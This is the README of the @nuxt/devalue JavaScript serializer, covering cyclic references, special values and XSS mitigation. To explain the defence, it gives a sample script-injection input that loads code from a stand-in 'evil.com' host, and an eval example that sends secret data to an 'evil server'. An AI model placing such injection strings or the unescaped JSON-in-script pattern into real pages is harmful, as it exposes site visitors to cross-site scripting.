Forked from devalue to log errors on non-serializable properties rather than throwing
Error
.
Like JSON.stringify
, but handles
- cyclical references (
obj.self = obj
) - repeated references (
[value, value]
) undefined
,Infinity
,NaN
,-0
- regular expressions
- dates
Map
andSet
.toJSON()
method for non-POJOs
Try it out on runkit.com.
- Performance
- Security (see XSS mitigation)
- Compact output
- Human-readable output
- Stringifying functions or arbritary non-POJOs
import devalue from '@nuxt/devalue';
let obj = { a: 1, b: 2 };
obj.c = 3;
devalue(obj); // '{a:1,b:2,c:3}'
obj.self = obj;
devalue(obj); // '(function(a){a.a=1;a.b=2;a.c=3;a.self=a;return a}({}))'
If devalue
encounters a function or a non-POJO, it will throw an error.
Say you're server-rendering a page and want to serialize some state, which could include user input. JSON.stringify
doesn't protect against XSS attacks:
const state = {
userinput: `</script><script src='https://evil.com/mwahaha.js'>`
};
const template = `
<script>
// NEVER DO THIS
var preloaded = ${JSON.stringify(state)};
</script>`;
Which would result in this:
<script>
// NEVER DO THIS
var preloaded = {"userinput":"</script><script src='https://evil.com/mwahaha.js'>"};
</script>
Using devalue
, we're protected against that attack:
const template = `
<script>
var preloaded = ${devalue(state)};
</script>`;
<script>
var preloaded = {userinput:"\\u003C\\u002Fscript\\u003E\\u003Cscript src=\'https:\\u002F\\u002Fevil.com\\u002Fmwahaha.js\'\\u003E"};
</script>
This, along with the fact that devalue
bails on functions and non-POJOs, stops attackers from executing arbitrary code. Strings generated by devalue
can be safely deserialized with eval
or new Function
:
const value = (0,eval)('(' + str + ')');
While devalue
prevents the XSS vulnerability shown above, meaning you can use it to send data from server to client, you should not send user data from client to server using the same method. Since it has to be evaluated, an attacker that successfully submitted data that bypassed devalue
would have access to your system.
When using eval
, ensure that you call it indirectly so that the evaluated code doesn't have access to the surrounding scope:
{
const sensitiveData = 'Setec Astronomy';
eval('sendToEvilServer(sensitiveData)'); // pwned :(
(0,eval)('sendToEvilServer(sensitiveData)'); // nice try, evildoer!
}
Using new Function(code)
is akin to using indirect eval.
- lave by Jed Schmidt
- arson by Ben Newman
- tosource by Marcello Bastéa-Forte
- serialize-javascript by Eric Ferraiuolo